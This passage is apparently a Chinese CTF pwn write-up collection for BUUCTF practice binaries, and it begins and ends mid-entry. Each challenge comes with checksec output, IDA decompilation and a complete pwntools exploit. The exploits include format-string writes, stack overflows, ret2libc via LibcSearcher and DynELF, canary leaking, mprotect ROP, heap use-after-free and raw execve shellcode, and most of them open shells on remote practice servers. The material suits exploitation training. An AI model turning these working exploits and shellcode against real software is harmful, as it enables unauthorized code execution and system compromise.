p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
return p
shell = payload()
q.sendline(shell)
q.interactive()

jarvisoj_fm

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+2Ch] [ebp-5Ch]
unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(&buf, 0, 0x50u);
read(0, &buf, 0x50u);
printf(&buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}

利用字符串格式化漏洞改x4

3.EXP

from pwn import *
context.log_level = "debug"
#p = remote("node3.buuoj.cn",26472)
p = process("./fm")
elf = ELF("./fm")
x_addr = 0x0804A02C
payload = p32(x_addr)+"%11$n"
p.sendline(payload)
p.interactive()

jarvisoj_guess

Socket原理讲解

下标越界导致盲注

1.checksec

Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

is_flag_correct

  qmemcpy(bin_by_hex, &unk_401100, sizeof(bin_by_hex));
qmemcpy(flag, "FAKE{9b355e394d2070ebd0df195d8b234509cc29272bc412}", sizeof(flag));
bzero(given_flag, 0x32uLL);
for ( i = 0; i <= 0x31; ++i )
{
value1 = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * i + 1]];
if ( value1 == -1 || value2 == -1 )
{
puts("bad input – one of the characters you supplied was not a valid hex character!");
exit(0);
}
given_flag[i] = value2 | 16 * value1;
}
diff = 0;
for ( i_0 = 0; i_0 <= 49; ++i_0 )
diff |= flag[i_0] ^ given_flag[i_0];
return diff == 0;

其中 flag 是之前 qmemcpy过后的,given_flag是通过 value_1value_2 的值计算来的,而这两个值是由我们输入的flag决定,如果控制 flag_hex[2 * i] 为负数,就可以flag结果修改为正确的flag结果,这样就可以通过后面的检测了

is_flag_correct -> stack

-00000000000001A0
-00000000000001A0 db ? ; undefined
-000000000000019F db ? ; undefined
-000000000000019E db ? ; undefined
-000000000000019D db ? ; undefined
-000000000000019C db ? ; undefined
-000000000000019B db ? ; undefined
-000000000000019A db ? ; undefined
-0000000000000199 db ? ; undefined
-0000000000000198 flag_hex dq ? ; offset
-0000000000000190 given_flag db 50 dup(?)
-000000000000015E db ? ; undefined
-000000000000015D db ? ; undefined
-000000000000015C db ? ; undefined
-000000000000015B db ? ; undefined
-000000000000015A db ? ; undefined
-0000000000000159 db ? ; undefined
-0000000000000158 db ? ; undefined
-0000000000000157 db ? ; undefined
-0000000000000156 db ? ; undefined
-0000000000000155 db ? ; undefined
-0000000000000154 db ? ; undefined
-0000000000000153 db ? ; undefined
-0000000000000152 db ? ; undefined
-0000000000000151 db ? ; undefined
-0000000000000150 flag db 50 dup(?)
-000000000000011E db ? ; undefined
-000000000000011D db ? ; undefined
-000000000000011C db ? ; undefined
-000000000000011B db ? ; undefined
-000000000000011A db ? ; undefined
-0000000000000119 db ? ; undefined
-0000000000000118 db ? ; undefined
-0000000000000117 db ? ; undefined
-0000000000000116 db ? ; undefined
-0000000000000115 db ? ; undefined
-0000000000000114 db ? ; undefined
-0000000000000113 db ? ; undefined
-0000000000000112 db ? ; undefined
-0000000000000111 db ? ; undefined
-0000000000000110 bin_by_hex db 256 dup(?)
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E value2 db ?
-000000000000000D value1 db ?
-000000000000000C i_0 dd ?
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 diff db ?
-0000000000000004 i dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

char的范围一般是0~255,这里有整数溢出,190+66=256190+|-66|=256,这种都行

payload = ''
for i in range(50):
payload += '0'
payload += p8(0x100-0x40 + i)

这样的payload就可以通过检测了,然后逐字节爆破

sh = remote('node3.buuoj.cn',26493)
flag = ''
for i in range(1,51):
print "guess the index {}'s char".format(i)
for c in range(32,128):
pay = payload[0:2*i-2] + hex(c)[2:] + payload[2*i:]
sh.sendlineafter('guess> ',pay)
ans = sh.recvuntil('\n')
if 'Yaaaay!' in ans:
flag += chr(c)
break
print 'flag=',flag

sh.close()

3.EXP

from pwn import *

#bypass
payload = ''
for i in range(50):
payload += '0'
payload += p8(0x100-0x40 + i)

#exploit
sh = remote('node3.buuoj.cn',26493)
flag = ''
for i in range(1,51):
print "guess the index {}'s char".format(i)
for c in range(32,128):
pay = payload[0:2*i-2] + hex(c)[2:] + payload[2*i:]
sh.sendlineafter('guess> ',pay)
ans = sh.recvuntil('\n')
if 'Yaaaay!' in ans:
flag += chr(c)
break
print 'flag>',flag
sh.close()

jarvisoj_typo

1.checksec

Arch:     arm-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8000)

发现是arm架构的pwn

jarvisoj_level0

环境:Ubuntu16

1.checksec

[*] '/home/o
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function(1LL, "Hello, World\n");
}

vulnerable_function

ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

return read(0, &buf, 0x200uLL);
}

简单溢出,且含有system binsh

3.EXP

from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",28704)
binsh = 0x040059A
payload = 'a'*0x88 + p64(binsh)
p.sendlineafter("\n",payload)
p.interactive()

jarvisoj_level2

环境:Ubuntu:16

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

vulnerable_function

ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

有system和binsh

3.EXP

from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26265)
#p= process("./level2")

sys_addr = 0x0804845C
binsh = 0x0804A024

payload = 'a'*(0x88+4)
payload += p32(sys_addr) + p32(binsh)

p.sendlineafter(":",payload)
p.interactive()

system只能选取已经执行过的system

jarvisoj_level3

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

vulnerable_function

ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}

栈溢出,需要找到libc

3.EXP

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",26281)

elf = ELF("./level3")

libc_start = elf.sym["__libc_start_main"]
libc_start_got = elf.got["__libc_start_main"]

write_plt = elf.plt["write"]
write_got = elf.got["write"]

start_addr = 0x08048350


p1 = 'a'*0x88+'aaaa'
p1 += p32(write_plt)+p32(start_addr)
p1 += p32(1)+p32(write_got)+p32(4)

p.sendlineafter(":\n",p1)
write_real = u32(p.recv(4))
libc = LibcSearcher("write",write_real)
libc_base = write_real - libc.dump("write")
print "libc_base=>"+hex(libc_base)

sys_addr = libc_base+libc.dump("system")
binsh = libc_base+libc.dump("str_bin_sh")

p1 = 'a'*(0x88+4)
p1 += p32(sys_addr)+p32(0)+p32(binsh)

p.sendlineafter(":\n",p1)
p.interactive()

jarvisoj_level3_x64

1.checksec

Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
return write(1, "Hello, World!\n", 0xEuLL);
}

vulnerable_function

ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL);
}

read 溢出+libc_leak

3.EXP

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",27722)
elf = ELF("./level3_x64")

read_got = elf.got['read']
write_plt = elf.plt['write']
vuln_addr = elf.sym["vulnerable_function"]
pop_rdi_ret = 0x04006b3
pop_rsi_r15_ret = 0x04006b1
pop_rbp_ret = 0x0400550
'''
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
'''

payload = 'a'*(0x80+8)
payload += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0)
payload += p64(write_plt)+p64(vuln_addr)
p.recvuntil("Input:\n")
p.sendline(payload)
read_real = u64(p.recv(8))
libc = LibcSearcher("read",read_real)

libc_base = read_real - libc.dump("read")
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")

log.info("libc base==>%s",hex(libc_base))
log.info("system addr==>%s",hex(sys_addr))
log.info("/bin/sh addr==>%s",hex(binsh))

payload = 'a'*(0x80+8)
payload += p64(pop_rdi_ret)+p64(binsh)+p64(sys_addr)+p64(vuln_addr)
p.recvuntil("Input:\n")
p.sendline(payload)
p.interactive()

jarvisoj_level4

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

vulnerable_function

ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

return read(0, &buf, 0x100u);
}

这题本意是然大家用Dynefl来泄露libc的,但是LibcSearcher一样可以

3.EXP

3.1 libcsearcher

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",28393)
elf = ELF("./level4")

libc_start_main = elf.got["__libc_start_main"]
write_plt = elf.plt['write']
main_addr = elf.sym['main']

payload = 'a'*(0x88+4)
payload += p32(write_plt)+p32(main_addr)+p32(1)+p32(libc_start_main)
p.sendline(payload)
libc_start_real = u32(p.recv(4))
libc = LibcSearcher("__libc_start_main",libc_start_real)

libc_base = libc_start_real - libc.dump("__libc_start_main")
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
log.info("libc base=>%s",hex(libc_base))
log.info("system addr=>%s",hex(sys_addr))
log.info("binsh addr=>%s",hex(binsh))


payload = 'a'*(0x88+4)
payload += p32(sys_addr)+p32(0xdeadbeef)+p32(binsh)
p.sendline(payload)
p.interactive()

3.2 Dynelf

from pwn import *
io=remote("node3.buuoj.cn",28393)
elf=ELF("./level4")
vulner_function_address=0x804844B
write_plt=elf.plt["write"]
read_plt=elf.plt["read"]
bss_addr=0x0804a024
def leak(address):
payload="a"*0x88+"aaaa"+p32(write_plt)+p32(vulner_function_address)+p32(1)+p32(address)+p32(4)
io.sendline(payload)
leak_sysaddr=io.recv(4)
print "%#x => %s" % (address, (leak_sysaddr or '').encode('hex'))
return leak_sysaddr
d = DynELF(leak, elf=ELF("./level4"))
sys_addr=d.lookup("system","libc")
print hex(sys_addr)
payload1="a"*0x88+"aaaa"+p32(read_plt)+p32(vulner_function_address)+p32(1)+p32(bss_addr)+p32(8)
io.sendline(payload1)
io.sendline("/bin/sh")
payload2="a"*0x88+"aaaa"+p32(sys_addr)+p32(vulner_function_address)+p32(bss_addr)
io.sendline(payload2)
io.interactive()

jarvisoj_level5

buu上给的就是jarvisoj_level3_x64

jarvisoj_tell_me_something

1.checksec

Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+0h] [rbp-88h]

write(1, "Input your message:\n", 0x14uLL);
read(0, &v4, 0x100uLL);
return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

good_game

int good_game()
{
FILE *v0; // rbx
int result; // eax
char buf; // [rsp+Fh] [rbp-9h]

v0 = fopen("flag.txt", "r");
while ( 1 )
{
result = fgetc(v0);
buf = result;
if ( (_BYTE)result == -1 )
break;
write(1, &buf, 1uLL);
}
return result;
}

自行读取flag,不嫌麻烦也可试试open/read/write

3.EXP

from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",29781)
elf = ELF("./guestbook")

payload = 'a'*0x88 + p64(0x0400620)
p.recvuntil("message:")
p.sendline(payload)
print p.recv()
p.interactive()

jarvisoj_test_your_memory

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
char s2[11]; // [esp+1Dh] [ebp-13h]
int v6; // [esp+28h] [ebp-8h]
int i; // [esp+2Ch] [ebp-4h]

v6 = 10;
puts("\n\n\n------Test Your Memory!-------\n");
v3 = time(0);
srand(v3);
for ( i = 0; i < v6; ++i )
s2[i] = alphanum_2626[rand() % 0x3Eu];
printf("%s", s2);
mem_test(s2);
return 0;
}
//.rodata:08048860 alphanum_2626 db 30h ; DATA XREF: main+5F↑r
//.rodata:08048861 a123456789abcde db '123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',0

产生随机数,然后让我们来猜

mem_test

int __cdecl mem_test(char *s2)
{
int result; // eax
char s; // [esp+15h] [ebp-13h]

memset(&s, 0, 0xBu);
puts("\nwhat???? : ");
printf("0x%x \n", hint);
puts("cff flag go go go ...\n");
printf("> ");
__isoc99_scanf("%s", &s);
if ( !strncmp(&s, s2, 4u) )
result = puts("good job!!\n");
else
result = puts("cff flag is failed!!\n");
return result;
}
//.data:0804A040 hint dd offset aCatFlag ; DATA XREF: mem_test+2D↑r
//.data:0804A040 _data ends ; "cat flag"

验证我们的输入,并且有了栈溢出cat flag的地址

win_func

int __cdecl win_func(char *command)
{
return system(command);
}

后门函数,作用==system

3.EXP

from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",28178)
elf = ELF("./memory")
cat_flag = 0x80487e0

payload = 'a'*(0x13+4)
payload += p32(elf.sym["win_func"])+p32(cat_flag)
payload += p32(cat_flag)

p.sendline(payload)
p.interactive()

not_the_same_3dctf_2016

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+Fh] [ebp-2Dh]

printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(&v4);
return 0;
}

简单栈溢出,但是远程开启了段保护,所以用ROP取消段保护

3.EXP

from pwn import *
p=process('./not_the_same_3dsctf_2016')
p = remote("node3.buuoj.cn",28930)
elf=ELF('./not_the_same_3dsctf_2016')

payload='a'*0x2d+p32(elf.symbols['mprotect'])
payload+=p32(0x0809e3e5)
payload+=p32(0x080EB000)
payload+=p32(0x1000)+p32(0x7)
payload+=p32(elf.symbols['read'])
payload+=p32(0x0809e3e5)+p32(0)+p32(0x080EBF80)+p32(0x100)+p32(0x080EBF80)
p.sendline(payload)
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

others_babystack

1.checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

两个主要功能

def store(text):
p.sendlineafter(">>","1")
p.sendline(text)

def Print():
p.sendlineafter(">>","2")

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v6; // [rsp+98h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(&s, 0, 0x80uLL);
while ( 1 )
{
menu();
v3 = READ();
switch ( v3 )
{
case 2:
puts(&s);
break;
case 3:
return 0LL;
case 1:
read(0, &s, 0x100uLL);
break;
default:
PUTS("invalid choice");
break;
}
PUTS((const char *)&unk_400AE7);
}
}

24行的read有一个短小的溢出,从这里我们使用19行的puts可以泄露canary的值,为之后更长的rop-chain做准备

3.EXP

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("babystack")
#p = process("./babystack")
p = remote("node3.buuoj.cn","28311")

def store(text):
p.sendlineafter(">>","1")
p.sendline(text)

def Print():
p.sendlineafter(">>","2")

pop_rdi_ret = 0x0400a93
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = 0x0400908

if __name__ == '__main__':
store('a'*0x88)
Print()
p.recvuntil('a\n')
canary=u64(p.recv(7).rjust(8,'\x00'))
log.success("canary =>0x%x",canary)

payload = 'a'*0x88+p64(canary)+'b'*8
payload += p64(pop_rdi_ret)+p64(puts_got)
payload += p64(puts_plt)+p64(main)
store(payload)
p.sendlineafter(">>","3")
p.recv()

puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc = LibcSearcher("puts",puts_addr)
base = puts_addr-libc.dump("puts")
sys_addr = libc.dump("system")+base
binsh = libc.dump("str_bin_sh")+base
log.success("puts real =>0x%x",puts_addr)
log.success("libc base =>0x%x",base)
log.success("system addr=>0x%x",sys_addr)
log.success("/bin/sh =>0x%x",binsh)

payload = 'a'*0x88+p64(canary)+'b'*8
payload += p64(pop_rdi_ret)+p64(binsh)
payload += p64(sys_addr)
store(payload)
p.sendlineafter(">>","3")
p.interactive()

others_shellcode

连上就有

pwn1_sctf_2016

1.checsec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}

vuln

int vuln()
{
const char *v0; // eax
char s; // [esp+1Ch] [ebp-3Ch]
char v3; // [esp+3Ch] [ebp-1Ch]
char v4; // [esp+40h] [ebp-18h]
char v5; // [esp+47h] [ebp-11h]
char v6; // [esp+48h] [ebp-10h]
char v7; // [esp+4Fh] [ebp-9h]

printf("Tell me something about yourself: ");
fgets(&s, 32, edata);
std::string::operator=(&input, &s);
std::allocator<char>::allocator(&v5);
std::string::string(&v4, "you", &v5);
std::allocator<char>::allocator(&v7);
std::string::string(&v6, "I", &v7);
replace((std::string *)&v3);
std::string::operator=(&input, &v3, &v6, &v4);
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v0);
return printf("So, %s\n", &s);
}

string

LOAD:08048154	00000013	C	/lib/ld-linux.so.2
............. ........ . ..........
LOAD:080488F4 00000007 C strcpy
LOAD:080488FB 00000006 C stdin
LOAD:08048901 00000007 C printf
LOAD:08048908 00000006 C fgets
LOAD:0804890E 0000000D C __cxa_atexit
LOAD:0804891B 00000007 C system
LOAD:08048922 00000012 C __libc_start_main
LOAD:08048934 00000008 C GCC_3.0
LOAD:0804893C 0000000A C GLIBC_2.0
LOAD:08048946 0000000C C GLIBC_2.1.3
LOAD:08048952 0000000E C GLIBCXX_3.4.5
LOAD:08048960 0000000B C CXXABI_1.3
LOAD:0804896B 0000000C C GLIBCXX_3.4
.rodata:080497F0 0000000D C cat flag.txt
.rodata:08049800 00000023 C Tell me something about yourself:
.rodata:08049829 00000008 C So, %s\n
.rodata:08049834 0000002A C basic_string::_S_construct null not valid
.eh_frame:0804996F 00000005 C ;*2$\"
.eh_frame:0804999D 00000005 C zPLR

看上去不会溢出,但是把’I’替换成’you’,使字符串变多,栈溢出

3.EXP

from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",25541)

cat_flag = 0x08048F0D

payload = 'I'*20 + 'a'*4 + p64(cat_flag)
p.sendline(payload)
p.interactive()

pwn2_sctf_2016

1.checksec

[*] '/home/o
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

vuln

int vuln()
{
char nptr; // [esp+1Ch] [ebp-2Ch]
int v2; // [esp+3Ch] [ebp-Ch]

printf("How many bytes do you want me to read? ");
get_n((int)&nptr, 4u);
v2 = atoi(&nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n((int)&nptr, v2);
return printf("You said: %s\n", &nptr);
}

get_n

int __cdecl get_n(int a1, unsigned int a2)
{
int v2; // eax
int result; // eax
char v4; // [esp+Bh] [ebp-Dh]
unsigned int v5; // [esp+Ch] [ebp-Ch]

v5 = 0;
while ( 1 )
{
v4 = getchar();
if ( !v4 || v4 == 10 || v5 >= a2 )
break;
v2 = v5++;
*(_BYTE *)(v2 + a1) = v4;
}
result = a1 + v5;
*(_BYTE *)(a1 + v5) = 0;
return result;
}

这里就存在一个atoi,输入-1时会转化为非零型整数,造成整数溢出

整数了过后,就可以写更多的值,从而getshell

溢出要覆盖的量可以从gdb调试出来

3.EXP

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("./pwn2_sctf_2016")
libc = ELF("./libc-2.23.so")
p = remote("node3.buuoj.cn",29632)
#p = process("./pwn2_sctf_2016")

start_addr = 0x080483d0
output_addr = 0x080486F8
vuln_addr = 0x0804852F
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

payload = 'a'*48
payload += p32(printf_plt) + p32(start_addr)
payload += p32(output_addr) + p32(elf.got["__libc_start_main"])

p.recvuntil("?")
p.sendline("-1")
p.recv()
p.sendline(flat(payload))

p.recvuntil("You said: ") #一段无法输出完整
p.recvuntil("You said: ")

main_real = u32(p.recv(4))
#libc = LibcSearcher('__libc_start_main',main_real)
libcbase = main_real - libc.sym["__libc_start_main"]
sys_addr = libcbase + libc.sym['system']
binsh = libcbase + libc.search("/bin/sh\x00").next()

payload = 'a'*48 + p32(sys_addr)+p32(output_addr) + p32(binsh)

p.recvuntil("?")
p.sendline("-1")
p.recvuntil("!")
p.sendline(payload)
p.interactive()

pwnable_hack_note

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

基本功能如下

def add(size, content):
p.sendlineafter("Your choice :", "1")
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)

def delete(index):
p.sendlineafter("Your choice :", "2")
p.recvuntil("Index :")
p.sendline(str(index))


def show(index):
p.sendlineafter("Your choice :", "3")
p.recvuntil("Index :")
p.sendline(str(index))

delete

if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}

指针没有归零

3.GDB

0x1 先申请一个chunk

pwndbg> heap
0x804b000 FASTBIN {
prev_size = 0,
size = 17,
fd = 0x804862b,
bk = 0x804b018,
fd_nextsize = 0x0,
bk_nextsize = 0x11
}
0x804b010 FASTBIN {
prev_size = 0,
size = 17,
fd = 0x61616161,
bk = 0xa,
fd_nextsize = 0x0,
bk_nextsize = 0x20fe1
}
0x804b020 PREV_INUSE {
prev_size = 0,
size = 135137,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x804b000: 0x00000000 0x00000011 0x0804862b 0x0804b018
0x804b010: 0x00000000 0x00000011 0x61616161 0x0000000a
0x804b020: 0x00000000 0x00020fe1 0x00000000 0x00000000
0x804b030: 0x00000000 0x00000000 0x00000000 0x00000000

0x2 查看0x0804862b0x0804b018

0x0804862b

int __cdecl sub_804862B(int a1)
{
return puts(*(const char **)(a1 + 4));
}

0x0804b018

该地址应该是绑定的分配堆的地址,到时候修补上就行

4.思路

  • uaf,将0x0804862b改为一个我们能泄露的函数
  • 计算system的相对位置
  • 0x0804862bsystem,并传入sh\x00\x00
  • 调用原来的输出函数,输出的对象是刚才填入的sh\x00\x00

伪造过后

0x860b000:	0x00000000	0x00000011	0x0804862b	0x0860b030
0x860b010: 0x00000000 0x00000019 0x0860b038 0x61616161
0x860b020: 0x61616161 0x61616161 0x00000000 0x00000011
0x860b030: 0x0804862b 0x0804a018 0x00000000 0x00000019
0x860b040: 0x00000000 0x61616161 0x61616161 0x61616161
0x860b050: 0x00000000 0x00020fb1 0x00000000 0x00000000

5.EXP

from pwn import *
import struct
p = 0

def add(size, content):
p.sendlineafter("Your choice :", "1")
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)

def delete(index):
p.sendlineafter("Your choice :", "2")
p.recvuntil("Index :")
p.sendline(str(index))


def show(index):
p.sendlineafter("Your choice :", "3")
p.recvuntil("Index :")
p.sendline(str(index))

def pwn(ip,port,mode,debug):
elf = ELF("./hacknote")
libc = ELF("/home/joe1sn/libc/32/libc-2.23.so")
global p
if debug == 1:
context.log_level = "debug"
else:
pass
if mode == 0:
p = process("./hacknote")
else:
p = remote(ip,port)

add(0x10,'a'*0x10) #note0
add(0x10,'a'*0x10) #note1

delete(1)
delete(0)

fun_addr=0x0804862B
add(8,p32(fun_addr)+p32(elf.got["free"]))
show(1)

leak=u32(p.recv(4))
libc_base = leak-libc.sym["free"]
sys_addr = libc_base+libc.sym["system"]

success('leak addr: '+hex(leak))
success('libc base: '+hex(libc_base))
success('system addr '+hex(sys_addr))

delete(2)
#add(8,p32(sys_addr)+';sh;')
add(8,p32(sys_addr)+'||sh')
show(1)

p.interactive()

if __name__ == '__main__':
pwn("node3.buuoj.cn",28478,1,0)

pwnable_start

1.checksec

Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)

2.IDA

; =============== S U B R O U T I N E =======================================

public _start
_start proc near ; DATA XREF: LOAD:08048018↑o
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push ':FTC'
push ' eht'
push ' tra'
push 'ts s'
push 2774654Ch
mov ecx, esp ; addr
mov dl, 20 ; len
mov bl, 1 ; fd
mov al, 4 ; syscall(write)
int 80h ; LINUX - sys_write
xor ebx, ebx ; ebx清零
mov dl, 60 ; len
mov al, 3 ; syscall(read)
int 80h ; LINUX -
add esp, 14h
retn
.text:0804809C _start endp ; sp-analysis failed

1.向addr空间写入"Let’s start the CTF:";

2.调用read函数,这里有个栈溢出,溢出后返回addr

3.返回后向addr写入shellcode

4.最后溢出+抬栈+shellcode

3.EXP

from pwn import *
context.log_level = "debug"
p = process('./start')
p = remote("node3.buuoj.cn",27809)
payload = 'a'*20 + p32(0x08048087)
p.recvuntil(':')
p.send(payload)
print(payload)
leak=u32(p.recv(4));
print(leak)
shellcode= '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload= 'a'*20 + p32(leak+20)+shellcode
p.send(payload)
p.interactive()

pwnable_orw

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}

直接传入shellcode过后,执行shellcode

3.EXP

from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",26098)

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
p.recvuntil("Give my your shellcode:")
p.sendline(shellcode)
p.interactive()

roarctf_2019_easy_pwn

1.checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

四个功能:增删查改

def add(size):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))

def edit(index,size,data):
p.sendlineafter(": ",'2')
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(size))
p.recvuntil('content:')
p.send(data)

def free(index):
p.sendlineafter(": ",'3')
p.recvuntil('index:')
p.sendline(str(index))

def show(index):
p.sendlineafter(": ",'4')
p.sendlineafter(": ",str(index))

edit

if ( v2 >= 0 && v2 <= 15 )
{
v2 = *((_DWORD *)&unk_202040 + 4 * v2);
if ( v2 == 1 )
{
printf("size: ");
v2 = read_input(1);
v4 = vuln(*((_DWORD *)&unk_202044 + 4 * v3), v2);// off by one
if ( v2 > 0 )
{
printf("content: ", (unsigned int)v2);
v2 = sub_D92(qword_202048[2 * v3], v4);
}
}
}

off by one漏洞,导致我们个已覆盖下一个堆块的size域,从而实现chunk overlapping

3.GDB

#code
add(0x18)#0
add(0x18)#1
